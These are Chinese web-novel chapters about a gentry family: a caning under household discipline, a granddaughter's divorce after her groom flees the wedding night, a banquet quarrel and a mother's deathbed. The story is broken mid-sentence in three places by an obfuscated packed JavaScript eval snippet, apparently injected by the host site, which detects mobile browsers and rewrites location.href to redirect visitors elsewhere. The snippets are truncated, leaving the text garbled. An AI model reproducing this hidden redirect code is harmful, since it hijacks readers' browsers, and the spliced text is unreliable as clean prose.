不想王夫人忽然从旁边扑了出来,一下子跪倒在老太太跟前,哭道:“老太太明鉴,我那两个孩子,不过是瞧着金玉玩意儿新鲜,想拿在手里细看看,怎么就被说成偷了?”一面说,一面拿帕子拭泪,哭得呜呜咽咽。 宋夫人原本在一旁冷眼看着,听了这话,气得浑身乱颤,指着王夫人骂道:“好个颠倒黑白的嘴!你们大房就是这样教养儿子的?照你这么说,倒成了我家舆哥儿多管闲事了?若不是舆哥儿撞见,你那两个好儿子,怕不是要把我女儿的嫁妆都给偷个干净!” 正闹着,曹兰书从人群里站出来,低声道:“我来作证。当时…当时哥哥确实偷了东西。” 宋夫人得了证词,越发得了意,一脸厌恶地朝王夫人翻了个白眼:“你听听,你自个儿的女儿都认了,你还在这儿狡辩什么?依我看,你这女儿,倒比你明事理百倍。” 老太太点了点头:“亏得兰姐儿从小在我这儿养着,若跟了你,不知要教成什么样子。” 王夫人听了这话,脸色霎时变得惨白。 她怔了怔,忽然捶胸顿足地哭嚎起来:“天爷呀!都欺负我们孤儿寡母!我活着还有什么意思?不如随了他们爹去,倒也干净!”说着,挣扎着起身,朝旁边的墙上撞去。 曹舆眼疾手快,一把将她拽了回来。 他也不慌,冷笑道:“大伯母这话好没道理。祖母管教孙子,原是应当的。你既要死要活,倒把话说清楚了。究竟是谁欺负了你?怎么欺负的?当着大伙儿的面,一一说出来,也好叫我们心里头明白明白。” 说罢,他看了看曹望手里的戒尺,又看了看老太太的脸色,心里暗暗笑了笑,便上前一步,道:“祖母,父亲年纪大了,力气不比当年,这一戒尺下去,怕是两位哥哥也觉不出什么疼来。孙儿在军营里整日练武,有的是力气,不如让孙儿代劳?” 王夫人一听,登时吓得魂飞魄散,也不哭嚎了,尖声道:“不成!岂有做弟弟的殴打兄长的?你这是大逆不道!” 曹舆不慌不忙:“我只是替父亲行家法罢了。”他打量了一眼那戒尺,轻笑了声,“这戒尺得打多少下,两位哥哥才能长记性?依我看,还是请竹鞭来罢。” “竹鞭?”曹轸曹轴异口同声地叫了出来。 曹轸从地上跳起来,指着曹舆的鼻子骂道:“你敢!小时候我带你掏鸟窝、捉蟋蟀,那些情分都喂了狗不成,如今倒要拿竹鞭抽我!” 曹舆听了,不慌不忙地理了理袖口,慢悠悠地道:“是啊,每次闯了祸,都是我去顶缸,哥哥倒是撇得干干净净。”他转向老太太,躬身道,“孙儿请命,执行家法。” “好!好啊!”曹轸怒极反笑,一挥手,将旁边一张桌子推倒在地,茶碗果碟摔得粉碎,“这个家,我不待了!” 说罢,转身就朝门外冲去。 王夫人哭得鼻涕一把泪一把,追在后头喊:“儿啊!儿啊!你不要娘了?” 老太太气得一拍桌子,王夫人吓得一个激灵,登时钉在原地,不敢动了。 “把曹轸给我擒回来!竹鞭伺候,由曹舆行刑!” 说罢,老太太心口一阵突突地跳,忙用手捂着胸口,靠在椅背上喘气。 曹晚书见状,连忙上前,轻轻替她拍着后背。 王夫人又跪倒在地,不停地拿帕子拭泪,抽抽噎噎地道:“婆母,会把轸哥儿打坏的。” 老太太闭着眼,半晌才道:“他这个性子不收一收,日后闯下大祸,有你哭的时候。” 两个小厮已把曹轸拖了进来,按在长板凳上。 曹轸犹自挣扎不休,刚按上去,他又挣起来,如此三四回,小厮们没了法子,只得拿绳子将他五花大绑,结结实实地捆在凳子上。 曹舆见了,心里头乐开了花。他接过竹鞭,在手里掂了掂,一鞭抽下去,曹轸屁股上便出一道血痕。 一鞭,两鞭,三鞭……足足抽了二十多鞭,曹舆方才停手。 曹轸起初还骂,后来便只剩了哼哼。 曹轴跪在一旁,看得魂飞魄散,脸都白了。想到接下来自己也是这个下场,两眼一翻,竟直挺挺地晕了过去。 轮到曹轴时,王夫人死命抱住他,任凭谁也拉不开,哭喊道:“我可怜见的儿,谁也不许碰他。” 曹舆上前拉她的肩膀:“大伯母,起开罢。” “滚!滚!”王夫人怒吼道,“你这个畜生!” 曹舆不慌不忙地道:“伯母别急。咱们待会儿再说说那些印子钱借据的事。” 此言一出,满室皆惊。 宋夫人尖叫起来:“你敢放印子钱?!” 王夫人的脸色,瞬间从惨白变成了铁青。 她愣了愣,连连摆手:“我没有,他胡说的。” 宋夫人气得手都发抖了,指着她道:“你…你敢放印子钱。” 曹舆拍了拍手,门外便进来两个小厮,捧着一沓纸条,恭恭敬敬地交到曹舆手上。 曹舆接过来,往王夫人脸上一甩,纸条纷纷扬扬落了一地。 “这些便是证据。你亲自签的字,画的押,还敢说没有?” 宋夫人登时疯了似的,扑上去一把掐住王夫人的脖子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269863|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破口大骂:“你个没天良的东西,眼里还有没有王法了!” 王夫人哑口无言,任由她掐着,一言不发。 老太太气得捶胸顿足,好半天才缓过气来,指着王夫人道:“自明日起,你就到庄子上住去罢。每日吃斋念佛,待个一年半载,想明白了再回来。” 王夫人面如死灰地瘫坐在地,看着两个血肉模糊的儿子,眼泪簌簌地往下落。 夜色深沉。 曹玉书坐在新房里,大红盖头早已揭了,搁在一旁。 月见在一旁站着,气鼓鼓的,到底忍不住,低声道:“迎亲的时候,李家就迟迟不来。如今洞房花烛,都子时了,姑爷怎么还不来?” 曹玉书道:“你去给我找些吃食来罢,我有些饿了。”说着,抬手将头上的冠子取下来,小心翼翼放在桌上,揉了揉脖子,“这冠子好生沉,累得我脖子都快断了。” 月见上前看了看她额头上勒出的红印子,心疼道:“姑娘想吃什么?我去厨房要。” “有什么就吃什么。快去快回罢。” 月见应了一声,转身去开门。 不想门一开,门口站着一个人,穿着大红婚服,倒把她吓了一跳。 定睛一看,才认出是李植,连忙退后一步,行了一礼:“姑爷。” 曹玉书在里头听见了,心里头突地一跳,慌忙把桌上的冠子拿起来往头上戴,又匆匆忙忙把扇子举起来挡住脸。只是心慌意乱的,冠子竟前后戴反了,还歪在一边。 月见回头一看,哭笑不得,连忙小步上前,替她正过来。 李植站在门口,朝曹玉书看了一眼。 就这一眼,他的脸色忽然变了。 变得惨白,白得像纸。 他连连后退了几步,险些跌倒在地上,一只手抖抖索索地指着曹玉书,嘴唇哆嗦着,不知在说什么。 月见吓了一跳,忙道:“姑爷,您怎么了?” “鬼…好多鬼。”李植声音发颤,“鬼神千万在其前……啊!鬼!” 月见愣住了。她看看李植,又看看自家姑娘。姑娘虽不是天仙下凡,那也是水葱儿似的人儿,怎么就成了鬼了,还把个大活人吓成这副脓包样子。 曹玉书也被他这疯魔样子骇得心头乱跳。 她站起身,迟疑着往前挪了一步,问:“你看见什么了?” “别过来!你是鬼!你别过来!” 李植连滚带爬地从地上挣起来,帽子滚落在地也顾不得捡,跌跌撞撞冲出房门,眨眼就消失在夜色里。 屋里头,主仆两个你看着我,我看着你,大眼瞪小眼。 这叫什么事? 直到次日天明,李植再没有来过。 曹玉书枯坐了一夜,眼圈都青了。到了敬茶的时辰,她没法子,只好一个人往前头去。 李夫人见她独自来了,往她身后张望了一番,奇道:“怎么不见植哥儿?” 曹玉书垂下眼,如实道:“他从昨晚见了我一面,便吓得跑了。至今也没见着人影。” “啊?”李夫人脸上的笑容僵住了。 过了好一会儿,她才回过神来,忙吩咐人:“快来人,去把植哥儿找出来。” 连着两天,也找不见李植的踪影。 到第三天早上,曹玉书彻底恼了。 她带着月见冲到前厅。 李夫人正在那里坐着发愁,见她来了,忙起身笑脸相迎。 曹玉书也不坐,只站着,冷声道:“你们李家,到底是什么意思。” 李夫人满脸愧疚,好言好语道:“我们这不是也在找么。” 曹玉书道:“月见,我们走!” 李夫人慌了,赶忙追上去拦她:“他兴许是有什么急事,一时回不来,你再等等。” 曹玉书丢下一句话:“我要等到什么时候?等到他修仙成道,长生不老么?!” 说罢,头也不回地去了。 24. 四姐姐和离了 宋夫人歪在榻上,听人回说四姑娘回来了,还当是三日回门,忙起身迎出去。 及至见了曹玉书的面,见她眼眶红红的,脸色也青白,心里便“咯噔”一下,暗道不好。 曹玉书见了母亲,忍了一路的眼泪,便再也收不住,一头扎进宋夫人怀里,哭得说不出话来。 宋夫人唬得什么似的,一面搂着她拍抚,一面拿眼去瞪月见:“这是怎么了?” 月见嘴快,不等曹玉书开口,便把那夜的事一五一十说了。如何如何等到子时,姑爷如何进门,如何见了姑娘像见了鬼似的,如何跌跌撞撞地跑了,如何两三日不见踪影。 宋夫人不听则已,一听这话,登时火冒三丈,拍着桌子骂道:“好个李植,他竟敢这般作践我女儿!早知如此,当初说什么也不该应这门亲事!” 曹玉书哭了一阵,方抬起头来,拿帕子拭了泪,咬着唇道:“母亲,我要与李植和离。” 宋夫人一怔,随即点头道:“必须和离。我女儿花一样的年纪,难不成真个守活寡。” 她来回踱步,越想越气:“怪道那日迎亲,他们李家迟迟不来,我只当是路上耽搁了,如今想来,分明就是不情愿。既是不情愿,又何必来求亲。” 景福堂里,曹老太太由曹晚书伺候着用点心。 曹晚书拿着筷子,夹了一箸菜,送到老太太嘴边,笑道:“祖母,再尝尝这个,是我亲手做的。” 老太太嚼了嚼,点头赞道:“嗯,不错。五丫头的手艺是越来越好了。” 曹晚书得意地笑了笑:“只要祖母喜欢,我每日变着花样给您做。” 老太太笑得合不拢嘴,对一旁的刘妈妈道:“你听听,这丫头嘴抹了蜜似的,就会讨我欢心。” 刘妈妈笑道:“五姑娘孝顺,老太太有福气呢。” 话音刚落,宋夫人那大嗓门,还没进门,就嚷开了:“老太太!您可要给玉书做主啊!他们李家欺人太甚!” 老太太放下筷子,微微皱眉:“什么事?瞧你莽莽撞撞的。” 宋夫人一头闯进来,后头跟着曹玉书。 她一进门,也顾不得什么礼数,扑到老太太跟前,哭道:“那个李植,新婚之夜指着玉姐儿说是鬼,吓得跑了,至今不见踪影。若不是念着当年公爹被他家所救,我说什么也不会把玉姐儿嫁过去受这等屈辱。呜呜呜……” 老太太听了,把曹玉书拉到跟前,细细打量了一番,心疼道:“好孩子,这话可当真?” 曹玉书点点头,泪又下来了。 老太太叹了口气,正要说话,宋夫人又道:“老太太,这还是其次。如今李家倒打一耙,满城里传咱们玉书样貌丑陋,新婚之夜吓跑了夫君。这话传得沸沸扬扬的,若真个和离了,玉姐儿往后可怎么嫁人?”说着,又大哭起来。 曹晚书在一旁听得,气得脸都白了,两排牙咬得咯咯响,忍不住道:“岂有此理!我这就找他们李家算账去!” “回来!”老太太厉声道,“你一个未出阁的姑娘,出什么头?给我安生待着。” 曹晚书抿了抿嘴,把那股火气强行压了下去。 老太太沉吟片刻,道:“让人备车,我亲自去一趟李家。等你父亲下朝回来,告诉他,把宗族族长、族老们都请来,商议和离的事。” 次日一早,曹家马车直抵李宅门前。 宋夫人身后跟着十几个小厮,浩浩荡荡地进了李家大门。 李夫人正在厅上坐着,见这阵仗,脸上的笑便僵了僵,起身迎道:“亲家老太太,亲家夫人,这是做什么?” 曹老太太端坐在椅上,面色沉静,不怒自威。 她也不绕弯子,开门见山道:“李夫人,今日我们过来,便是商议和离的事。” 李夫人脸色一变。 老太太继续道:“当年李大人救了我官人性命,我们感激不尽,答应结为儿女亲家。这些年来,我们曹家一直信守承诺,将玉书嫁了过来。可如今令郎逃婚在外,反倒叫我家孙女担了恶名。这事,我们曹家断不能忍。” 李夫人听她提起这话,忙道:“可冤煞我了,这话可不是我传出去的。那日府上来了许多宾客,许是他们嘴碎,捏造出来的也不一定。” 月见在一旁忍不住道:“当时姑爷进屋,已经过了子时,宾客早就散了。” “放肆!”李夫人一拍桌子,“你一个奴婢,这里有你插嘴的份?” 宋夫人扬了扬眉,冷笑道:“李夫人好大的威风。我女儿的事,我女儿的丫头说不得?今儿我们把话撂在这儿。和离,是非和不可的。旁的废话,不必再提。” 李夫人也恼了,沉着脸道:“若我家不答应呢?” “那咱们就公堂上见。”宋夫人丝毫不让,“你儿子跑了,倒拉着我女儿守活寡,天下没有这样的理。” 李夫人不屑地哼了一声:“别打量我不知道,你们曹家和官府里勾着呢。” “话可不能乱说。”宋夫人打断她,“我们曹家清清白白,律法可是摆在那儿的。有理走遍天下,没理寸步难行。你急什么?” 李夫人被她堵得说不出话,气得浑身发抖。 回头一看,她那个夫君,李大人还坐在角落里,手里拿着一柄拂尘,慢条斯理地擦拭着,对眼前这场闹剧,竟似充耳不闻。 李夫人一肚子火没处撒,几步冲过去,一把抢过那拂尘,狠狠摔在地上,骂道:“你是一家之主!就看着我一个人在这狼窝里斗?整日摆弄这些劳什子,儿子都是叫你教坏的!” 李大人缓缓弯下腰,拾起拂尘,抖了抖上头的灰,面色仍是淡淡的,只道:“修之于家,其德乃余。” “呸!什么鱼不鱼的!我听不懂你这些鬼话!”李夫人已是气昏了头,一眼瞥见案上那些瓶瓶罐罐,更是火上浇油,冲过去抱起来就往地上砸,“我让你炼!让你炼!炼得儿子跟你学坏了!” 瓶瓶罐罐碎了一地,丹丸滚得东一颗西一颗。 李大人没有拦她,而是长长叹了口气。 他转过身,对着曹老太太和宋夫人,深深作了一揖,道:“家门不幸,贱内无状,让亲家老太太、亲家夫人见笑了。千错万错,是我李家对不住曹家。和离……就和离罢。” 李夫人一听,登时急了,冲过去推了他一把,骂道:“你疯了不成?你脑子叫驴踢了!” 李大人忽然抬起头来,瞪着她,咆哮道:“我看疯了的是你!” 这声音震得屋梁上的灰都簌簌落下来。 李夫人被吼得一愣,定定地站在那儿,不敢再开口。 两家各自请了族老来,当面议定和离,按下手印。曹玉书的嫁妆,如数抬回曹家。 自此,曹李两家,再无干系。 光阴迅速,转眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277983|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便是数月。 这一日,永定侯府摆满了月酒。 曹金书生了个大胖小子,宋夫人高兴得不得了,早早便张罗起来。 水榭旁的回廊上,挂满了琉璃灯,风一吹,叮叮当当的响。宾客络绎不绝,笑语喧哗。 小娃娃裹着大红襁褓,颈间挂着长命锁。 宋夫人抱在怀里,别提有多稀罕,凑到曹晚书跟前,笑道:“晚丫头,你快瞧瞧,这嘴巴,这眼睛,跟你大姐姐小时候一模一样。你看像不像?” 曹晚书掩着嘴笑:“母亲又糊涂了。大姐姐落地时,我还在娘胎里打转呢,哪里就见过?” 宋夫人愣了一下,随即拍着额头哈哈大笑:“瞧我这记性!一高兴,嘴上就没把门的了。”说着,又探头朝窗外望望,见外头人来人往的,忙叮嘱曹金书:“一会儿放爆竹驱邪,让姑爷嘱咐底下人,离孩子住的上房远着些,可别惊了我的宝贝疙瘩。” 曹金书笑道:“嗐!您这是把他当瓷娃娃了。他爹说了,要打小儿养他个大胆的性子,往后还要带兵打仗呢。” “可别!”宋夫人忙摆手,“快让姑爷死了这条心罢。你弟弟整日价带兵打仗,我这心天天提着,烧香拜佛就没断过,就怕有个闪失。再来一个,我这命还要不要了?” 这时,顾平生走了进来。 他向宋夫人作了揖,恭恭敬敬道:“岳母大人,马上开席了,请您入座罢。” 说着,又往四下里看了看,问:“怎么不见四姨姐儿?” 曹金书这才想起来,忙道:“正是呢,四妹妹怎么没来?我听说李家的事了,正想问问。” 曹晚书见宋夫人没言语,便替她答道:“她想一个人静静,便没过来。” 顾平生点点头,又道:“我听说,辕哥儿中举了?” 他不提还好,一提这事,宋夫人脸上便有些不好看。 她撇了撇嘴,道:“可不是么。李姨娘的鼻子都快翘到天上去了,逢人便说她儿子是文曲星下凡,说我的舆哥儿不过一介武夫。” 曹金书忙笑着哄道:“李姨娘不一直都是那样的人麽。辕哥儿有出息,也是给咱们曹家争光不是?母亲别气了。” 宋夫人这才脸色缓和些,嘟囔道:“我哪是气这个?我只是看不惯她那副嘴脸罢了。” 一时开席,宾客们按着位次坐了。 曹晚书和曹兰书被安排在水榭东边的一席,同席的都是些官宦人家的千金小姐。 其中一个满头珠翠、穿金戴银的小姐,名唤赵萧萧,一双眼在曹家姐妹脸上溜来溜去,忽然问道:“你们两个,哪个是那曹玉书?” 兰书回答:“我四姐姐今天没有来。” “不来好哇,省得来了,万一不小心露出那张脸,吓着席上这满堂的娇客,岂不是大煞风景?哈哈哈…”她说着,还故意拿眼去瞟周围人的反应,得意之色溢于言表。 这话狠狠扎在曹晚书心上。 她手里还握着酒樽,抬起眼,目光冷得如寒潭,剜了赵萧萧一眼。 随即,她唇角勾起一抹冷笑,将手中酒盅儿往桌上轻轻一顿,曼声吟哦起来: “小人无状,鼠目寸光。 见人富贵,恨塞胸膛。 自身龌龊,偏吠日狂。 可怜虫豸,徒惹笑场。” 这哪里是吟诗,分明是指着和尚骂秃驴。 25. 碰见个浪荡子 赵萧萧面上那点子得意渐渐凝住,继而涨得通红,霍地立起身来,伸出纤纤玉指,直直指着曹晚书,尖声道:“小贱人!你骂谁是虫豸?” 曹晚书不慌不忙,拿起绢子轻轻沾了沾唇角,满脸是茫然不解的神气:“姐姐这是怎么说?妹妹不过见席间热闹,偶然想起前儿瞧话本子,上头有几句话,是形容市井泼皮的,觉着有趣,便念出来解个闷儿罢了。姐姐何至于这般动气?难不成,这村话可是戳着姐姐的心事?” 赵萧萧气得浑身乱战,脸上红一阵白一阵,嘴唇哆嗦着,说不出囫囵话来。 四围坐着的千金们,不敢明目张胆地笑。低了头,有以帕掩口的,有悄悄交换眼色的,有咬着耳朵说小话儿的。 赵萧萧站也不是,坐也不是。 正没开交处,赵萧萧身畔站着一个穿银红褙子的女子,扬起脸来,鼻孔朝天地说道:“好个不知天高地厚的丫头,你可知眼前这位贵人是谁?说出来,只怕吓破你的胆!” 曹晚书把脊背挺得笔直,淡淡道:“便是金枝玉叶,也须讲个理字。方才无端端拿我们曹家姊妹取笑,这是什么道理?” 那女子冷笑一声:“这位可是清平县主,七大王的爱女。不日便要出阁,嫁与安亭蕴安大官人做正头娘子。我恍惚听说,你们曹家如今也想攀附安大人呢。” 说着,转脸向旁侧一个穿桃红褙子的侍女挤了挤眼,侍女便嗤地笑出声来,眼睛直勾勾盯着曹晚书,扬眉道:“是你想攀附?还是曹玉书?又或者,是你身旁这位?”她拿眼梢瞟了瞟兰书。 曹晚书听了,自是怒不可遏。可面上还不得不绽出笑靥,只听她道:“我们曹家的事,你一个外头人如何知道得这样真切?难不成我们姊妹在家说话时,这位姐姐蹲在房梁上听壁角来着?” 闻言,有几个年轻些的媳妇,忍不住将口中茶水喷了出来,慌得连忙低头拭衣襟。 那女子恼羞成怒,狠狠跺了跺脚,一张脸涨成了猪肝色。 这时,屏风外闪过一道宝蓝身影。 宋夫人眼尖,忙抢上前去拦住,笑道:“准哥儿往哪里去?这边是女席,仔细冲撞了姑娘们。” 这冯准生得倒是一表人才,头戴白玉莲瓣冠,身穿石青缂丝交领长袍,真个是翩翩佳公子的模样。 他站在那里,隔着屏风的缝隙往里张望,指着那边厢的曹晚书,低声问宋夫人:“姑母,你瞧席间那位穿淡蓝褙子的小娘子,好一副伶牙俐齿,竟是個妙人儿呢。” 宋夫人探头瞧了瞧,笑道:“嗐,那是你晚书妹妹,我常和你提起的。” 冯准眼睛一亮,道:“原来她就是晚书妹妹?我将来若娶了她家去,可不得被她整治得死死的?”说着,自己倒先笑了,心里暗暗盘算起来。 宋夫人听了这话,啐道:“趁早儿收起你这没要紧的想头罢!你想娶,我还不叫她嫁你呢。” 冯准一愣,忙道:“这是怎么说?” 宋夫人拿眼风扫了他一下,压低声道:“人家晚书的事,早与安家哥儿说定了。安亭蕴安探花,那可是我与你姑父心里头看准了的人。你还在这里做梦呢!” 她又想起一桩事来,便拿指头点着他道:“还有,我劝你趁早儿把你那个外室安置妥当了好。这样没遮没拦的,仔细将来闹出来,没脸见人。” 冯准一听,慌得脸上变了颜色,连忙摆手,四下一瞧,见无人在近前,才凑近了低声道:“姑母千万休提!这事若传出去,我这名声还要不要了?好姑母,权当没这回事罢。” 宋夫人嗔了他一眼:“我自替你瞒着,可你自己也该检点些。如今倒想着娶晚书了,也不掂量掂量自个儿。” 冯准涎着脸笑道:“好姑母,我瞧着晚书妹妹实在好,心里爱得什么似的。您老人家好歹替我想想法子,周全周全。” 宋夫人冷笑道:“哼,你梦里想去罢!” 且不说这厢姑侄两个说私话,单说席面上,清平县主想起一桩旧事,道:“我倒是想起来一件事,当年顾侯夫人和襄阳王那些风流韵事,如今想想,还觉着好笑呢。” 她口中这个“顾侯夫人”,指的便是曹家大姑娘曹金书。 桌案底下,曹晚书的一双拳头攥得死紧,她厌恶极了眼前这个拿自己姊妹作践取乐的女人。 旁边另一个女子凑趣道:“如今林二姑娘已是襄阳王妃了,曹大姑娘到底只落了个侯夫人做。” 曹晚书面上仍带着笑,只听她对着兰书曼声道:“妹妹,你还记得东街说书先生养的那只鹦鹉吗?” 兰书有些不明所以,什么鹦鹉?她不知道。 不等她开口,曹晚书便道:“你忘啦?那鹦鹉学舌倒是勤快,可惜捡来捡去,尽是些腌臜话呢。” “好!好个曹五姑娘!”冯准躲在屏风后,险些拍手叫起好来,被宋夫人连忙一把拽住袖子,往男宾席那边拖去。 曹兰书见清平县主脸上青白不定,晓得这是动了真气,只怕晚书惹出大祸来,便悄悄在桌下扯了扯她的衣襟,使个眼色,叫她别再言语。 清平县主霍地立起身来,冷冷一笑:“你今日得罪了我赵萧萧,来日自有你的好果子吃。我们走!” 一声令下,呼啦啦走了一多半人。剩下来的那几个,都是素日与曹家交好的。 王家三姑娘挪过身来,低声劝道:“晚书妹妹,你也别气了。那个清平县主,性子最是骄横,眼里没人,咱们只当没瞧见就完了。” 曹晚书摇摇头,道:“她骄横她的,我管不着。可她拿着我家里人作践,我便不能忍。王家姐姐,你是见过我四姐姐的,你倒说说,她可是外头传的那样?” 王家三姑娘叹了口气,道:“自然不是。只是那些人没福,没见过玉书妹妹的好模样,只信那些混账话。晚书妹妹,我劝你一句,往后别招惹她了。我也听说了,她要嫁安亭蕴的事,如今正得意呢。” 曹晚书便不再言语,静静坐着,拿箸子拨弄碗里的菜,却一口也吃不下去。 宴罢,曹晚书独自一个,漫无目的地走着。 她想来想去,还是觉着安亭蕴更可靠些。 毕竟打过几回交道,知道他是个温和细心的。只要他肯答应不纳妾,自己倒甘愿嫁他。可如今,却被清平县主抢了先。 正低着头闷走,忽然后头窜出一个人来,一手捂住她的嘴,一手揽住她的腰,三两步便拖到林子深处。 “你是谁!”曹晚书被推倒在草地上,吓得魂飞魄散,浑身哆嗦。 慌乱间瞥见旁边有根枯枝,忙抓在手里,颤巍巍举着:“你…你别过来!这是侯府,不是你撒野的地方!” 冯准见她吓成这副模样,忍不住笑了:“你当拿着根树枝子,我就怕了你了?”说着,伸手夺过枯枝,两手轻轻一掰,断成两截。 曹晚书脸都白了。 冯准忙退后一步,拱了拱手,笑道:“妹妹别怕,我可不是歹人。你母亲是我姑母,我是她亲侄子冯准。改日还要登门拜访的。” “哦…”曹晚书这才略略放心,从地上爬起来,拍打着身上的泥土,抬脚便要跑。 冯准伸手扯住她袖子,笑道:“曹妹妹,急什么?说句话儿再走。” 曹晚书面上泛起薄怒,道:“冯公子请自重。便是母亲亲侄,也该晓得男女大防。” 冯准见她恼了,忙松开手:“瞧把你吓得。在席面上,你连清平县主都不怕,倒怕起我来了?” 曹晚书瞪了他一眼:“你偷听我们说话?” “无意间听见的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277984|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”冯准上上下下打量她一番,只见她虽有些狼狈,却掩不住那一副好容貌,好身段,心下甚是满意,便笑道,“我改日去你们府上提亲,娶你。” 曹晚书啐了一口:“谁稀罕!”心里却想,这人好歹也是举人出身,怎么这般没个正经,倒像个市井泼皮。 扔下这句话,她提起裙摆,转身便跑。 跑得太急,不留神脚底下一绊,扑通一声,结结实实摔了一跤。 冯准忙赶上来,问道:“可摔着了?” “你别过来!”曹晚书一骨碌爬起来,回头瞪着他,满脸警惕。 她三步一回头,五步一转身,见他果然站在原地不动,这才放心,一溜烟跑远了。 冯准望着她的背影,忍不住摇头笑了。心想,若娶了这么个有趣的丫头家去,往后的日子可不热闹?只是不知道,她能不能容得下自己那个外室。 兰书见她回来,一身的土,吓了一跳,忙拉住她问:“这是怎么了?可是清平县主使坏,暗地里欺负你了?” 曹晚书摇摇头,道:“没有的事,是我自己不留神,绊了一跤。” 兰书不信:“姐姐,你跟我说实话,若真是她害你,我必不依。” “哎呀,真不是。我本想散散心,走着走着就摔了。” 兰书半信半疑,也不再追问。 说话间已是盛夏。 兴化县这日,天上像破了窟窿,瓢泼大雨倾盆而下,砸得屋瓦噼啪乱响。 屋里闷热得很,窗户上糊的纸都洇湿了,透着一股子潮气。 “大人,鲁国府送信来了,说是要紧的,紧赶着送来的。”一个小厮弓着腰进来,袖口还滴着水,衣襟也湿了一片。 安亭蕴霍地立起身来,一把夺过那封被雨水浸得半潮的信。 三把两把撕开,抽出信纸,一目十行看过去,只见他胸脯一起一伏,长长吸了口气,又沉沉吐出来。 二话不说,跌坐回圈椅里,提起笔来便写得飞快,顷刻间一张白纸便填得满满当当。 安亭蕴搁下笔,取过信封封好,用火漆烫了口,递给小厮,道:“快马加鞭,送到鲁国公府。路上不许耽搁,便是马跑死了,信也得给我送到。” 小厮一迭声应着,双手捧过信来,刚要转身,肚子里忽然一阵咕噜噜响,绞着疼。想是方才淋了冷雨,内急起来。 他偷瞥一眼安亭蕴,见他正背着手站在窗前,望着外头的雨幕出神。 小厮便把信往桌角一撂,夹着腿,往茅房奔去了。 等他提着裤子回来,见信似乎被人动过,挪了位置。心下疑惑,四下里看看,并没人,只道是自己记岔了,或是被窗缝里钻进来的风吹的,也未多想,揣起信,冒雨出门去。 转眼已是八月天气。冯准备了厚礼,登了鲁国公府的门。 曹望坐在厅上,手里捧着茶盏,眼皮子也不抬一下。 他心里还惦记着安亭蕴那小子当初的承诺,如今外头风言风语,都说安探花要攀高枝儿,和清平县主定亲。 曹望心里窝着一团火,偏生不信。这会子见冯准这副架势,更是烦闷。 呷了口茶,慢悠悠放下,曹望打着哈哈道:“贤侄有心了。只是五丫头年纪还小,这婚配的事,再议罢,再议罢。”三言两语,便挡了回去。 尴尬着,一个小厮捧着一封信进来,垂手道:“老爷,兴化县安大人府上送来的。” 曹望一听,眼睛登时亮了,嘴角忍不住往上翘。心道:好小子,到底来信了,必是来解释和清平县主那事的。 他强按捺着,接过信来,等小厮和冯准都退到一旁,才慢条斯理拆开。 抽出信纸展开来,偌大一张纸上,只孤零零写着四个大字——日后勿扰。 26. 丁忧 曹望脸上的笑容瞬间冻住,死死盯着那四个字。 好个安亭蕴,好个背信弃义、攀龙附凤的小人,枉我还当你是个人物。 曹望气得浑身发抖,五指一收紧,将信纸狠狠攥成一团,心里早把安亭蕴的祖宗十八代翻来覆去骂了个遍。 同一时间,安亭蕴料理完公务,又亲往堤坝巡视一周。原该在此驻守三载的差事,不想未及一年,诸般工程竟已告竣。心中欢喜,步履轻快地返回寓所,思量着要将去曹家提亲之事禀明母亲。 曹夫人依旧卧病在榻,只是今日面色更显苍白,无半点血色。 安亭蕴跪在床前,喜形于色:“母亲,儿子已备妥聘礼,不日便往曹家提亲,求娶曹五姑娘。” 曹夫人嘴唇微颤,似要言语,却如胶粘唇舌,难以启齿。自知大限将至,闻得爱子喜讯,不由得两行清泪潸然而下,心中愧恨交加。 安亭蕴见状,眉头紧锁:“母亲怎的脸色恁般难看?”话音刚落,忽见曹夫人掩胸剧咳,一口鲜血呕出,登时气若游丝。 安亭蕴见地上血迹,魂飞魄散:“母亲,我这便去请郎中来!” 曹氏勉力握住他的手,气若游丝:“不必了...为娘自知油尽灯枯...只是误了我儿终身大事...”语毕,双目渐阖,就此长逝。 安亭蕴如遭雷殛,呆跪床前,颤手探她的鼻息。 气息已绝。 当真撒手人寰了。 “母亲!”这一声呼唤,似从肺腑中绞出。仰面望梁,泪如泉涌。 他忽然浑身脱力,跌坐于地,以拳捶胸,五内俱焚。终究难抑悲恸,掩面痛哭,肩背耸动,哀毁骨立。 亭蕴一把将尸身搂入怀中,仰天哭嚎道:“母亲怎的撇下孩儿去了。” 只见他双目赤红如血,忽然之间,两道殷红自鼻孔涌出,滴滴答答落在曹氏衣上。他却浑然不觉,只管将脸贴着母亲渐冷的面颊,呜咽道:“我还没有让你享福,你不准走,母亲…” 